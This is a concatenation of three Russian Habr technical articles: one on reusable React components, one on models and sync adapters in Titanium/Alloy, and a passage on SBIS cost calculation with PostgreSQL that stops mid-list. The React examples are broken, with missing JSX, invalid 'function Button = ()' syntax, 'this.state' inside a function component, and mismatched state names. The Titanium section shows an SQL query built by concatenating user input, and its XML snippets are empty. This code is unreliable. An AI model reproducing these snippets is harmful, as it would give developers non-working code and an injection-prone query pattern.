Теперь поговорим подробнее о подходе с повторным использованием кода. Основная концепция этого подхода состоит в том, что при проектировании компоненты разбивают сложные приложения на независимые части, которые проще реализовать. Я бы посоветовала подходить к повторному использованию кода не как к специальному процессу, а как к стратегии развития. То есть мы должны изначально создавать компоненты с учётом их повторного использования в будущем. В первую очередь мы прорабатываем архитектуру, а потом уже пишем код. На первый взгляд, извлечение компонентов может показаться лишней и монотонной работой. Но когда у нас становится всё больше повторно используемых компонентов, это быстро окупается, ведь можно взять уже готовый компонент для решения своей задачи. Особенно заметно это становится в больших приложениях с обширной кодовой базой.
Выделение компонентов способствует созданию хорошей архитектуры. Код, созданный из качественно спроектированных компонентов, намного легче читать и воспринимать, а отсутствие дублирования кода позволит упростить багфикс, так как правки нужно будет вносить только в одном месте, а не искать по всему проекту нужные строчки кода. Чем короче код, тем он надёжнее, в нём сложнее запутаться и проще увидеть ошибку. Не бойтесь разделять компоненты на более мелкие части. Недаром существует такой принцип, как DRY: «Don’t repeat yourself».
Как понять, что нужно выделить компонент? Первым делом стоит обратить внимание на часто используемые части пользовательского интерфейса, например, на кнопку или панельку, имеющие одинаковую функциональность. А если у нас получается сложный компонент – это уже хороший кандидат для того, чтобы выделить в нём несколько подкомпонентов для упрощения работы с ним.
Теперь давайте перейдём к React-компонентам.
Что такое компоненты React?
---------------------------
Компоненты React – это самодостаточные элементы, которые можно использовать на странице любое количество раз. Во многом компоненты ведут себя как обычные JavaSript функции. Они принимают входные данные, так называемые props, и возвращают React-элементы, описывающие то, что мы хотим увидеть на экране.
Проще всего объявить React-компонент как стрелочную функцию.
Пример 1:
```
const Button = (props) => (
Click me!
)
```
В данном случае компонент принимает в качестве параметра props с обработчиком клика и возвращает React-элемент в виде кнопки. Компоненты такого типа называются функциональными.
Также компонент можно создать путём расширения класса React.Component. Такие компоненты называют классовыми, у них есть доступ к методам жизненного цикла и состоянию.
Перепишем наш функциональный компонент в виде классового.
Пример 2:
```
class Button extends React.Component {
constructor(props) {
super(props);
}
render() {
Click me!
}
}
```
Важно отметить, что компонент не должен менять свои props вне зависимости от того, функциональный он или классовый. Это позволяет гарантировать, что компонент будет возвращать один и тот же результат для одинаковых аргументов.
Также React-компоненты можно разделять по наличию состояния. Состояние представляет собой объект, который хранит динамические данные компонента. На основе изменения своего состояния компонент перерисовывается и может передавать свойства своего состояния в дочерние компоненты в качестве props. Таким образом, компоненты без состояния называют stateless компонентами, а с состоянием – stateful.
Приведённые выше примеры представляют собой stateless компоненты. Попробуем добавить объект состояния в классовый компонент.
Пример 3:
```
class Button extends React.Component {
constructor(props) {
super(props);
this.state = { clickNumber : 0};
}
const onClick = () => {
this.setState({ count: this.state.clickNumber + 1 });
props.onClick();
}
render() {
onClick()}>You clicked { this.state.clickNumber } times!
}
}
```
В данном примере мы добавили объект состояния в класс Button, который отслеживает изменение количества нажатий на кнопку и отображает актуальную информацию на странице.
Часто говорят, что stateless компоненты – это только функциональные компоненты, а stateful – классовые, но это не так. В действительности наличие состояния не зависит от того, является ли компонент классовым или функциональным. Рассматривая пример 2, мы убедились, что классовые компоненты могут не иметь состояние.
А как определить состояние в функциональных компонентах? До изобретения хуков в React функциональные компоненты не могли иметь состояние, но благодаря хуку useState это стало возможно. Хук – это специальная функция, которая позволяет использовать возможности React без написания классов.
Давайте добавим состояние в наш функциональный компонент из примера 1.
Пример 4:
```
function Button = () => {
const [clickNumber, setClickNumber] = useState(0);
return (
setClickNumber (clickNumber + 1)}>
You clicked { this.state.clickNumber } times!
)
}
```
Мы получили ту же самую кнопку, которая при клике увеличивает значение того, сколько раз на неё кликнули. Вызов useState возвращает нам два значения: текущее состояние и функцию, которая обновляет это состояние. Это очень похоже на то, как мы используем состояние в классовых компонентах.
Можно увидеть, что использование классового компонента длиннее практически в два раза. Лучше использовать функциональные компоненты с применением хуков, потому что это проще выглядит, надёжнее, удобнее в плане разделения состояний или использования других хуков, а также никак не отразится на вашей производительности.
Итак, почему лучше использовать функциональные компоненты с хуком useState,
чем классовые?
1. Во-первых, проще для понимания, потому что это обычные функции.
2. Во-вторых, не нужно иметь дело с this. Порой не очень удобно связывать функции, когда нужно использовать обработчик событий. Часто возникают проблемы, не все разбираются в том, как работает окружение.
3. В-третьих, синтаксис короче, меньше шансов на появление багов. Также состояние более детализировано, в классовых компонентах у нас один большой объект состояний. Когда мы что-то изменяем, обновление переменной состояния всегда происходит путём замещения её значения новым объектом, а не изменением текущего состояния с помощью слияния. С хуком React мы можем разделить состояние и обновлять отдельно каждое значение.
Но это всё теория, на практике возникает много вопросов, попробуем разобрать некоторые из них:
### Допустим, что наша команда решила создавать и использовать повторно используемые компоненты. Как это повлияет на нашу разработку?
С одной стороны, вы будете тратить больше времени на разработку, по крайней мере, вначале. С первого взгляда выделение повторно используемых компонентов может показаться тривиальной задачей, но в процессе написания кода могут обнаружиться зависимости между компонентами, которые помешают их универсальному использованию и сделают невозможным их отделение. А иногда при добавлении новых фичей или дальнейшем продумывании архитектуры приходится добавлять новые свойства в компонент или изменять его логику, при этом поддерживая работоспособность старого кода. Всё это значительно усложняет процесс создания универсального компонента.
С другой стороны, такой подход сэкономит ваше время при разработке новых компонентов за счёт переиспользования компонентов, написанных ранее. Ведь когда вы будете разрабатывать аналогичный компонент, вам не потребуется делать это с нуля. У вас уже есть компоненты, которые вы можете переиспользовать. Также у вас значительно упростится багфикс, так как при возникновении бага вам потребуется сделать исправление только в одном месте. Рассмотрим ситуацию: у вас в проекте два похожих компонента, выполняющих одну и ту же задачу, но созданных разными людьми в разных частях проекта. В одном компоненте вы нашли ошибку и исправили её, но во втором ошибка так и останется. А в случае повторного использования компонента та же ошибка в совсем другом месте кода была бы исправлена автоматически.
Другим важным плюсом такого подхода является хорошая структуризация кода, облегчающая его восприятие и понимание. Когда другой разработчик видит код с хорошим названием компонентов, из которых состоит один большой родительский компонент – он намного быстрее поймёт код, и ему не придётся разбираться в функциях и тегах. Такой подход нам напоминает выделение самостоятельных частей в функции для создания чистого кода. При этом, если каждый программист будет вести разработку таким образом, то вы получите одинаковый стиль написания кода, что, естественно, ускоряет его понимание другими разработчиками.
### Какие есть недостатки повторного использования кода?
Подход с повторным использованием компонентов даёт серьёзный профит вашему проекту, но только если вся команда чётко следует ему и уделяет достаточно времени тестированию. Без этого повторно используемые компоненты часто становятся причиной нестабильности приложений, потому что при багфиксе разработчик исправляет код в соответствии с тем сценарием использования компонента, который актуален для его конкретной ситуации. Он не думает о том, что этот компонент ещё используется в десятке других сценариев. Его правка может отразиться совершенно непредсказуемым образом на незнакомых ему частях приложения. Такие ошибки очень трудно найти, потому что их никто не проверяет.
Рассмотрим другую ситуацию. В процессе доработки и развития приложения иногда возникает потребность добавить новую функциональность в этот компонент. Самое простое, что разработчик находит возможным сделать, - изменение кода этого компонента, например, добавление новых props или новой логики. Вся эта логика постепенно накапливается в этом компоненте, он обрастает десятками разных props и сложных условий. Всё это становится крайне хрупким и тяжёлым для отладки.
### Как избежать проблем с переиспользуемыми компонентами?
* **Вы должны расширять функциональность, а не менять её.**
Для того чтобы не изменять компонент, который уже выделили как отдельную единицу, лучше использовать компоненты высшего порядка или функции оболочки, в которых будет реализована дополнительная логика. Таким образом, вы не сломаете уже имеющийся функционал.
* **Делать максимально простые компоненты, выделяя наиболее общие признаки.**
Чтобы создать универсальный компонент, который везде подошёл бы, нужно выделять максимально общие признаки. Тогда вы сможете избежать ситуации, когда для одной цели вам нужно что-то изменить, а для другой оставить так же. Для повторного использования рекомендуется использовать небольшие stateless компоненты. Отсутствие состояния и минимум логики позволит упростить его использование. Такие компоненты нужно делать максимально похожими на html-теги, чтобы они принимали все пропсы html. Если компонент основан на теге div и ведёт себя как тег div, то велика вероятность, что у вас получится расширить использование этого компонента, добавив обработчики событий, не изменяя сам компонент.
* **Композиция компонентов.**
Если у вас возникает потребность создать какой-то более сложный компонент, хорошим правилом будет составлять этот сложный компонент из более маленьких компонентов, то есть применять композицию. Это нужно для того, чтобы модифицировать его под другой сценарий, когда появится такая необходимость. В такой ситуации вы можете просто создать другую композицию, переиспользуя уже существующие компоненты, но при этом создать что-то новое.
* **Повторно используемые компоненты должны быть явно выделены в кодовой базе.**
Выделенные для повторного использования компоненты лучше хранить в отдельном месте в проекте, например, создать папку reusable. Это поможет понять другим разработчикам, какой именно код создавался с учётом повторного использования. Разработчики быстрее смогут найти компонент для переиспользования и будут понимать, что для этих компонентов надо поддерживать совместимость и следить за тем, чтобы не поломать существующий код при доработке функциональности.
* **Не забываем про тесты!**Очень важно писать тесты, чтобы проверить, не поломалась ли функциональность. Код, который мы используем повторно, требует более тщательного тестирования. Когда мы меняем повторно используемые компоненты, мы должны убедиться в работоспособности нашего приложения. Для этого код нужно протестировать юнит-тестами и скриншот-тестами, это поможет обеспечить его надёжность.
### Почему нельзя сделать состояние с помощью замыкания без использования хука?
Проблема в том, что при изменении состояния нам нужно перерендерить компонент. Просто так изменять состояние не имеет смысла. А как мы знаем, в функциональных компонентах нет возможности изменения состояния с перерендерингом. Эта возможность зашита в хуках React. Они тоже используют замыкание для хранения значения, но именно при изменении состояния они «триггерят» React, чтобы он перерисовал компонент.
### Какие компоненты сейчас лучше использовать: функциональные или классовые?
Лучше использовать функциональные компоненты. Всё идёт к тому, что классовые компоненты объявят deprecated в будущем. Это, скорее всего, произойдёт нескоро, потому что классовые компоненты всё ещё используются в очень большой кодовой базе. Но даже если их вообще не исключат из библиотеки, всё равно вектор развития библиотеки React будет направлен на функциональные компоненты с хуками, а классы будут постепенно умирать. Новый код сейчас лучше писать на функциональных.
Подведём итоги
--------------
Повторное использование кода является важной составляющей хорошей архитектуры. Использование данного подхода даёт огромные плюсы при расширении кодовой базы и багфиксе. Чтобы этот подход действительно работал, уделяйте побольше времени на продумывание архитектуры компонентов и написание тестов. Это поможет обезопасить вас от большинства ошибок в будущем.
При этом нужно помнить, что повторное использование кода — это хорошо, но не стоит слишком этим увлекаться, чтобы не выстрелить себе же в ногу. Если вы не уверены, что этот компонент достаточно общий и подходящий для выделения в качестве повторно используемого компонента, то оставьте эту навязчивую идею сделать всё идеально переиспользуемым!
 | https://habr.com/ru/post/694774/ | null | ru | null |
# Все, что вы хотели знать о моделях и коллекциях в Titanium
Но по какой-то причине боялись спросить.
Модели — достаточно важная часть приложения, потому что без данных никуда.
В этой статье я постараюсь максимально подробно осветить все аспекты использования моделей в MVC фреймворке для разработки мобильных приложений Appcelerator Titanium.
Если вы еще не пробовали связываться с моделями, то, надеюсь, эта статья сэкономит вам пару километров нервов.
Backbone.js
===========
Итак, первое, что стоит знать при работе с моделями в Titanium, это то, что они основаны на моделях и коллекциях из Backbone. Это значит, во-первых, вы можете использовать все свойства и методы, описанные в документации Backbone; во-вторых, будет очень не лишним предварительно с ней знакомиться, если вы еще этого не сделали.
На всякий случай сделаю акцент на терминологии: модель — это единичная сущность, коллекция — это набор однотипных моделей.
> Важно: Titanium использует Backbone версии 0.9.2, так что некоторые методы из документации Backbone могут быть не реализованы.
Underscore.js
=============
Коллекции так же дополнительно наследуют методы Underscore.js для облегчения жизни разработчика. Например, метод [.map](http://underscorejs.ru/#map)
Создание
========
Создать модель можно двумя равносильными способами: с помощью Appcelerator Studio или вручную.
Вручную вы можете создать файл специального формата в папке /app/models/ (что, собственно, и сделает за вас студия):
**Формат файла описания модели**
```
exports.definition = {
config : {
// схема данных
},
extendModel: function(Model) {
_.extend(Model.prototype, {
// расширение Backbone.Model
});
return Model;
},
extendCollection: function(Collection) {
_.extend(Collection.prototype, {
// расширение Backbone.Collection
});
return Collection;
}
}
```
Если вы пользуетесь помощью студии — просто вызовите контекстное меню у проекта и выберите пункт «New -> Alloy Model». При создании диалоговое окно предложит вам выбрать тип адаптера: localStorage, properties или sql. Типы адаптеров описаны дальше.
Все, что вам нужно описать в этом файле для базового функционала, это блок config. В нем содержится схема данных и тип адаптера синхронизации. Этот блок должен содержать следующие поля:
* **columns**: словарь, описывающий поля модели. Ключ — название поля, значение — тип. Типы как в SQLite: *string, varchar, int, tinyint, smallint, bigint, double, float, decimal, number, date, datetime и boolean*
* **defaults**: тот же словарь, что и columns, но теперь значения — это значения полей по умолчанию, если какое-то из них не определено при синхронизации
* **adapter**: этот объект содержит два поля:
+ **type**: тип адаптера синхронизации
+ **collection\_name**: название коллекции. Может отличаться от названия модели. Значение этого поля вы будете использовать для создания коллекции
+ **idAttribute**: первичный ключ
Например, мы создаем модель books. Для этого создаем в папке /app/models/ файл books.js:
**Пример созданной модели**
```
exports.definition = {
config: {
"columns": {
"title": "String",
"author": "String" // если тип адаптера sql, то здесь можно еще SQLite keywords добавлять
},
"defaults": {
"title": "-",
"author": "-"
},
"adapter": {
"type": "sql",
"collection_name": "books",
"idAttribute" : "title",
"db_file" : "db_books", // название базы данных, с которой нужно работать. По умолчанию _alloy_
"db_name" : "books.sqlite", // название файла базы относительно каталога /app/assets. Если не указано, то создастся файл [имя_базы].sqlite
}
}
}
```
Здесь у нас модель с двумя текстовыми полями: название книги и автор. Оба поля по умолчанию имеют значение "-". Пока все просто.
Тип адаптера sql говорит о том, что при попытке получить данные, модель с помощью встроенного адаптера попытается соединиться с SQLite базой на устройстве и получить данные из таблицы books.
Собственные свойства и методы в модели можно добавить так:
**Пример расширения модели**
```
exports.definition = {
config : {
// схема данных
},
extendModel: function(Model) {
_.extend(Model.prototype, {
// расширение Backbone.Model
customProperty: 'book',
customFunction: function() {
Ti.API.info('Привет, я книга');
},
});
return Model;
}
}
```
То же самое касается коллекций. Если вы добавили собственные методы в extendModel, они будут доступны у модели, а у коллекции нет, и наоборот.
Использование
=============
Обратиться к модели/коллекции можно двумя способами:
* Создав глобальный синглтон
* Создав локальную ссылку
* Указав в XML разметке, если вы используете Alloy
Глобальный синглтон
-------------------
В этом случае модель будет доступна сразу везде, во всех контроллерах. Если она уже объявлена в одном, то в другом вызов метода [Alloy.Models.instance](http://docs.appcelerator.com/platform/latest/#!/api/Alloy.Models-method-instance) вернет ссылку на эту объявленную модель. Пример — модель User, она может быть везде одна.
Аналогично для коллекций.
Локальная ссылка
----------------
Локальную ссылку можно создать с помощью метода [Alloy.createModel](http://docs.appcelerator.com/platform/latest/#!/api/Alloy-method-createModel). Тогда эта модель будет доступна только внутри того контроллера, где создана. Метод — фабрика, передаете в него название модели (имя файла минус .js) и параметры. И все.
Аналогично для коллекций.
XML
---
Элемент разметки должен быть *прямым потомком* . И у него должен присутствовать атрибут src со значением «имя-файла-модели-минус-.js». Тогда в контроллере будет доступен синглтон этой модели в пространстве имен Alloy.Models:
**XML**
```
```
**Controller**
```
var drama = Alloy.Models.book;
drama.set('title', 'Дальше живите сами');
drama.set('author', 'Джонатан Троппер');
```
Также у этого элемента есть атрибут instance. Если он имеет значение true, то будет создана ссылка на модель (локальная, доступна только внутри одного контроллера). Кстати, в этом случае модель не будет доступа в пространстве имен Alloy.Models, к ней нужно будет обращаться по id:
**XML**
```
```
**Controller**
```
var drama = $.myBook;
drama.set('title', 'Дальше живите сами');
drama.set('author', 'Джонатан Троппер');
```
Аналогично для коллекций.
Адаптеры синхронизации
======================
Наконец мы добрались до того раздела, о котором было обещано в разделе «Создание». Для работы с моделями мало просто описать схему данных. Нужно еще их к чему-то подключить. Вот это подключение и есть адаптер синхронизации.
Адаптер — это реализация Backbone.sync. Так как наиболее распространенная задача — это CRUD операции на удаленном сервере (ну, лично из моего опыта), то по умолчанию метод Backbone.sync делает RESTful JSON запросы по тем адресам, которые вы укажете в свойствах Model.urlRoot и Collection.url. Так гласит официальная документация. На практике же чтобы добиться толку от моделей/коллекций, очень удобно пользоваться адаптером restapi, о котором я расскажу чуть позже. А пока вернемся к официальной же документации.
Адаптеры могут быть четырех типов:
* sql
* properties
* localStorage (с версии alloy 1.5.0 не используется, так что не будем его рассматривать)
* свой тип
SQL
---
Если в конфиге в разделе adapter не определен ключ idAttribute, то Alloy сам сгенерирует в вашей таблице поле alloy\_id и будет использовать его как первичный ключ.
Обратите внимание на поля конфига db\_file и db\_name (в разделе «Создание»). Здесь они важны.
В отличие от других типов, в этом методе **Backbone.Collection.fetch** может принимать целую строку SQL-запроса:
**Строка запроса в .fetch()**
```
var library = Alloy.createCollection('book');
// Название таблицы - это collection_name из конфига
var table = library.config.adapter.collection_name;
// простой запрос
library.fetch({query:'SELECT * from ' + table + ' where author="' + searchAuthor + '"'});
// prepared statement
library.fetch({query: { statement: 'SELECT * from ' + table + ' where author = ?', params: [searchAuthor] }});
```
То есть хотите простой запрос — передавайте в параметрах объект с ключом query, а хотите сложный — передавайте и запрос, и параметры.
Кстати, можете еще передавать ключ id. В этом случае адаптер сам поймет, что вы хотите использовать ограничение WHERE id=?..
**id**
```
myModel.fetch({id: 123});
// то же самое, что
myModel.fetch({query: 'select * from ... where id = ' + 123 });
```
properties
----------
Если ваша база — не SQLite, то вы можете создать свой адаптер и делать с данными все что угодно. Для этого создайте в каталоге app/assets/alloy/sync или app/lib/alloy/sync файл адаптера, например, myAdapter.js, а потом укажите в конфиге модели в adapter.type название этого файла, то есть «myAdapter».
Собственно файл этот должен экспортировать три функции:
* **module.exports.beforeModelCreate(config)** (не обязательно) — метод, как ясно из названия, выполняется перед созданием модели. В параметрах передается config этой модели. Здесь, например, можно добавить baseUrl к адресу запроса. Возвращает модифицированный объект config
* **module.exports.afterModelCreate** (не обязательно) — принимает два параметра: новенький только что созданный класс Backbone.Model и название файла модели
* **module.exports.sync** — реализация метода Backbone.sync. Он должен возвращать данные
[restapi](https://github.com/viezel/napp.alloy.adapter.restapi)
---------------------------------------------------------------
Если вам нужно получать данные с удаленного сервера, а создавать собственный адаптер не хочется, есть замечательный адаптер restapi, который не входит в число встроенных, но выполняет свою работу (RESTful JSON запросы) на ура.
Необходимых настроек минимум — поле URL в конфиге:
**Пример модели с адаптером restapi**
```
exports.definition = {
config: {
"URL": "http://example.com/api/modelname",
//"debug": 1,
"adapter": {
"type": "restapi",
"collection_name": "MyCollection",
"idAttribute": "id"
}
},
extendModel: function(Model) {
_.extend(Model.prototype, {});
return Model;
},
extendCollection: function(Collection) {
_.extend(Collection.prototype, {});
return Collection;
}
}
```
Разумеется, это не все доступные настройки, за полным списком смотрите документацию. А что еще важного в этом адаптере — это то, что метод fetch в нем принимает словарь с тремя возможными полями:
* **data** параметры запроса
* **success** callback для успешного запроса
* **error** callback для ошибки
Заключение
==========
Итак, это все, что нужно знать для того, чтобы на базовом уровне уметь работать с моделями в Titanium. Тема эта несколько шире, например, я сознательно опустил здесь описание процесса миграции между различными версиями базы, data binding, использование моделей без Alloy, а также работа с SQLite. Все эти пробелы я надеюсь восполнить в следующей статье, следите за обновлениями.
Эта статья основана на а) официальной документации; б) собственном опыте использования моделей в Alloy. Если среди хабрасообщества есть люди, которые разбираются в этом вопросе лучше меня и видят ошибки или неточности, прошу, комментируйте, обсудим. | https://habr.com/ru/post/272049/ | null | ru | null |
# Как мы в СБИС автоматический расчет себестоимости делали
*Несколько лет назад при переходе от разработки десктоп-приложения с локальной базой у каждого клиента к SaaS-модели с сотнями тысяч клиентов онлайн, нам пришлось сильно пересмотреть некоторые алгоритмы работы с БД при реализации функционала [складского учета в СБИС](https://sbis.ru/inventory). Этот внутренний доклад посвящен алгоритмическим причинам возникших сложностей и способам их решения.*
Очередной семинар про работу с СУБД PostgreSQL. Сегодня расскажу, как суровую прагматику требований бизнеса перенести на разработку высоконагруженных сервисов, как бороться с конкурентным доступом к данным, как это все аккуратно обходить и при этом не «отстрелить себе ногу».
Сегодня мы поговорим про **расчет себестоимости** в [СБИС](https://sbis.ru/all_services):
* [наша методика расчета](#01)
что такое «себестоимость» вообще, зачем она нужна, и как ее считаем именно мы
* [алгоритмические задачи](#02)
концептуальные приемы при построении архитектуры решения «под алгоритм»
* [технические приемы](#03)
зачем и как применять упорядочение операций, делать транзакции короткими и быстрыми, организовать высококонкурентную очередь в БД и другие подходы к оптимизации нагрузки
Себестоимость — это **оценка затрат** нашего бизнеса (*себе-стоимость*) «в деньгах», необходимая для трех основных вещей:
* **знать наценку** — то есть прибыль от продажи какого-то конкретного товара
Чисто управленческая метрика, которая позволяет вычислять эффективность работы вложенных средств, их оборачиваемость, прибыльность бизнеса.
* **рассчитать налоги** на прибыль (от той же самой наценки) или на НДС
Это то, что требует от нас как от юрлица налоговая.
* **подтвердить затраты** при расчете того же НДС
Иметь возможность сослаться на первичные документы и сказать: «Да-да, этот товар стоил мне 1000 рублей, потому что я его вот по этой накладной за 1000 рублей купил у Васи»
Из определения следует, что себестоимость — это всего лишь ***какая-то* оценка**, а для любой оценки бывает много различных методик. Если [посмотреть «Википедию»](https://ru.wikipedia.org/wiki/Себестоимость), то там с десяток различных методик описано. Мы для себя выбрали одну и реализовали именно ее, вот что в нее входит:
Мы учитываем **только вхождение материалов** при расчете себестоимости продукции. То есть все издержки на зарплату, аренду, электричество и прочее — мы не учитываем. В том смысле, что они не участвуют при автоматическом расчете — их можно дораспределить отдельно после калькуляции общих затрат за месяц, например.
Считаем **на конец периода**: дня, месяца, квартала или года — это настраиваемый пользователем параметр — в зависимости от того, каким методом учета пользуется организация. И, в общем случае, **внутри периода можем переставлять движения** как угодно.
Расчет ведется **в разрезе складов**. То есть у нас много-много складов, на каждом из которых себестоимость учитывается независимо.
Например, конкретно у нас как у «Тензора» порядка сотни складов — как минимум, это все «филиальные» склады, на которых хранятся [носители для электронных подписей](https://tensor.ru/uc/tariffs), [кассы](https://sbis.ru/catalog/yaroslavl/X39415790352) и прочие товары, которые мы продаем. Склады [Presto](https://sbis.ru/presto), которые используют наши столовая и ресторан.
Мы поддерживаем два алгоритма расчета: **«по средней» или по партиям** с ручным выбором партий или автоматическим подбором по FIFO.
И все это мы считаем с конечной точностью — точностью «одна копейка» для денег и «одна миллионная» для количества. Нам показалось, что такой точности (1 грамм при учете «в тоннах») достаточно для любого товара.
Поскольку в автоматическом режиме мы учитываем только материалы, то нам достаточно уметь обрабатывать всего 4 модели операций:
* **расход**
Формируется документами *реализации, списания и переоценки*.
Себестоимость вычисляется от остатка по складской карточке на момент операции.
* **приход**
Формируется документами *поступления товара и начальных остатков*.
Себестоимость явно указана в документах поставщика — это закупочная цена товара.
* **зависимые** (приход по расходу)
Формируется документами *перемещения, пересортицы и выпуска*.
Себестоимость прихода в точности равна суммарной себестоимости расхода.
* **инвентаризация**
Фиксирует фактический остаток и формирует отклонения от учетного остатка по моделям прихода и расхода.
Получается, что от алгоритма расчета (по среднему/по партиям) зависят **только расходы**, все остальные операции из них «выводятся».
Расчет мы делаем на конец периода. То есть мы говорим: «Непонятно, что происходило „внутри“ периода, но „на конец“ состояние вот такое, его и рассчитаем.» И чтобы его рассчитать, вполне возможно, нам придется **учитывать операции не в том порядке**, в котором они были оформлены.
Типовая бизнес-ситуация — прибежал менеджер на склад: «У меня есть клиент! Вася, вот этот телевизор, хоть ты его ***еще не заприходовал на склад, отгрузи*** мне его прямо сейчас, пожалуйста.»
Оформлена отгрузка со склада утром, а приход будет заведен вечером. То есть, формально, какое-то время в течение дня на складе был «минус», поскольку **расход оформлен раньше прихода** — но все равно все должно по алгоритму рассчитаться. Потому что с бытовой-то точки зрения мы понимаем — вот тут мы отгрузили точно тот телевизор, что был заприходован, и не надо умучивать пользователя переоформлением этих документов!
И для того чтобы наиболее эффективно рассчитать, мы имеем полное право в рамках определенного пользователем периода менять порядок операций так, как нам «удобнее» — то есть чтобы все рассчиталось по максимуму.
На этих двух диаграммках видно, что если мы сначала попробуем взять порядок операций, когда расход раньше прихода, то у нас окажется сразу 2 нерассчитанные операции. Потому что мы ничего не сможем про остаток сказать ни после первого расхода «в минус», ни после прихода. Количественный остаток какой-то будет, а вот про его себестоимость, денежное выражение, сказать уже ничего нельзя.
Но если мы эти операции поменяем местами, то у нас все отлично! Мы четко понимаем, что если у нас приход был по 10р/шт, то и расход будет по столько же.
Но есть одна проблема. Если у нас где-то **внутри интервала возникает инвентаризация**, то такие операции через нее мы переносить уже не можем.
Потому что в жизни что это бывает за инвентаризация? Кто в «Метро» был, тот видел, может быть, что периодически они закрывают цепочками некоторые стеллажи и начинают там что-то делать. Бегает менеджер со штрих-сканером и «щелкает» товар. Вот он его количественно измеряет, инвентаризирует, получает какое-то число. Так вот это число он получает **на определенную точку во времени**. Если расход был проведен раньше — он уже учелся в данных этой инвентаризации. А если будет проведен позже, то переставить его мы не имеем права, потому что из-за этого остатки, зафиксированные в инвентаризации как-то начнут «ехать».
Поэтому инвентаризации разбивают интервалы расчета на сегменты.
Вполне очевидно, что себестоимость разных товаров — «шурупы» и «гвозди» — можно рассчитывать независимо. Но если при этом у нас есть гвозди на складе в Москве и на складе в Ярославле, то для нас это такие же разные объекты для расчета, и у них может быть абсолютно независимая друг от друга себестоимость.
Например, гвозди на московский склад точно такие же мы купили «задорого» по 12р., а в Ярославле «задешево» по 10р., потому что тут мы закупаем оптом и имеем у местного поставщика лучшие скидки, например.
То есть остаток и себестоимость **для каждой складской карточки** рассчитываются независимо.
Соответственно, наличие нескольких складов даже по одной номенклатурной карточке приводит нас к ситуации, что иногда **возникает зависимость операций и карточек** друг от друга.
Например, если мы взяли и сделали перемещение, погрузили 10 коробок гвоздей в Москве и повезли их на склад в Ярославль, то у нас на этом складе себестоимость-то как-то изменится после этой приходной операции. И дальнейшие продажи с него уже будут зависеть от того, какое количество, по какой сумме мы переместили, с какого склада — если из Москвы, то по одной себестоимости, если из Питера — по другой.
У нас возникают «цепочки» операций, определяющих порядок расчета. На этом примере перемещение должно быть рассчитано раньше продажи, иначе мы не сможем ее корректно рассчитать.
А иногда такие зависимости возникают еще и каскадно — когда мы, например, сначала из Москвы привезли гвозди в Ярославль, а на следующий день часть этих гвоздей отправили в Рыбинск.
Но когда возник такой каскад, мы понимаем, что можем все интервалы операций разбить на некоторые сегменты, которые **могут быть рассчитаны параллельно**, независимо друг от друга, не конкурируя ни за какой ресурс. То есть сначала все «зеленые» сегменты по трем этим карточкам могут считаться тремя параллельными потоками, потом строго «желтый» сегмент, потом — «красный».
Но есть проблема. В случае, если у нас в рамках одного интервала расчета (например, суток) было перемещение сначала с оптового московского склада на розничный ярославский, а потом назад мы вернули часть продукции, то эти две операции начинают зависеть друг от друга.
И они могут быть рассчитаны только совместно — сразу все операции этих двух складов в рамках одного интервала. То есть мы не можем разорвать расчет этих двух карточек, и на этом интервале должны рассчитать их сразу обе.
Для решения задачи **перебора перестановок** таких операций реализован отдельный алгоритм. Я про него сегодня рассказывать не буду, поскольку он, скорее, оптимизационно-математический и к работе с базой имеет отношения мало.
Первый алгоритм расчета, который мы реализовали — это **«по среднему»**. Тут все просто — на момент операции берем суммовой и количественный остаток по карточке, делим одно на другое — узнаем себестоимость за единицу. Умножаем ее на количество товара в операции — получаем себестоимость операции.
Второй алгоритм — подбор **по партиям**.
Партия — это факт отгрузки поставщиком нам определенного наименования. То есть он его отгрузил, во-первых, в определенную дату, во-вторых, по определенной цене, в-третьих, с определенными параметрами. Это особенно важно, когда атрибуты партий критичны — например, срок годности. Понятно, что молоко «позавчерашнее» совсем не то же самое, которое мне отгрузили «сегодня», и его надо как-то друг от друга отделять.
Для этого существует такая штука как партионный учет, он же «учет по партиям». На партии могут быть «завязаны» определенные атрибуты. Соответственно, все операции, которые происходят, учитываются в разрезе партий.
Внезапно, для тех же вводных, что и в предыдущем примере, себестоимость операции оказалась другой, потому что в нее вошло сразу две операции по разной исходной себестоимости. Соответственно, при партионном учете у нас не только операции ведутся в разрезе партий, но и остатки на складских карточках.
И последний момент, почему при описании нашей методики я в явном виде остановился на **точности учета**. Потому что при неопределенной точности учета, когда мы не говорим об использовании какой-то фиксированной, у нас возможны весьма неожиданные эффекты.
Кто-то, возможно, уже сталкивался в своей работе, кто-то, может быть еще столкнется, но уже хотя бы будет знать, как такие вещи решаются. Вроде логика подсказывает, что при вычислении такого выражения должен получиться ноль, но… не совсем!
Эта проблема вызвана конечной разрядностью представления числа внутри вычислительного устройства. И чем больше вычислительных операций мы будем проводить (а на предыдущих слайдах видно, что проводить, как минимум, умножение и деление при расчете каждого складского движения), тем сильнее это отклонение «от нуля» будет накапливаться.
И чтобы такого «ноль, но не совсем» не получать, мы должны оперировать с numeric-типами:
```
SELECT 1.0::numeric - 0.9::numeric - 0.1::numeric;
-- 0.0
```
Так количество неожиданностей при вычислениях будет гораздо меньше, но не пропадет совсем. Потому что в зависимости от ЯП само округление до точности может происходить не всегда одинаково.
Например, если для SQL мы получаем округление «конечной 5» всегда в большую сторону, то для Python, например, это не так. И чтобы **добиться одинакового поведения при вычислениях**, необходимо прикладывать дополнительные усилия на каждом из используемых вами языков.
Теперь перейдем от «общечеловеческого» описания алгоритма к тому, что конкретно пришлось делать.
Сначала мы подумали — а ведь в десктоп-приложении СБИС 2.x расчет себестоимости уже был реализован, почему бы его не взять готовый и не перенести?
**Pro:**
* **единая транзакция расчета** и блокировка всех участвующих карточек
Нет необходимости беспокоиться о том, что кто-то изменил остаток на карточке.
* **извлекаем все движения периода**
Отсутствуют конфликты с конкурентным изменением списка операций.
* **сквозной порядок всех-всех операций**
Все зависимости карточек и конфликты циклических операций разрешались прямо в памяти. Нет необходимости дополнительно хранить списки зависимостей.
Но этот алгоритм разрабатывался под свои условия — когда база у клиента стоит одна, на выделенном сервере, в ней максимум сотни тысяч, но явно не миллионы операций. И бухгалтер может себе позволить при закрытии квартала запустить процесс пересчета всех движений «на всю ночь».
Для онлайн-приложения, где в одной PostgreSQL-базе сосуществуют сотни клиентов, а работа ведется в режиме 24x7, такое уже не подходит.
**Contra:**
* **длинная транзакция**
В условиях работы MVCC [это создает массу проблем](https://habr.com/ru/post/481866/), которые потом приходится героически решать. Например, «по цепочке» нарастающее количество блокировок.
* **блокировка всех участвующих карточек**
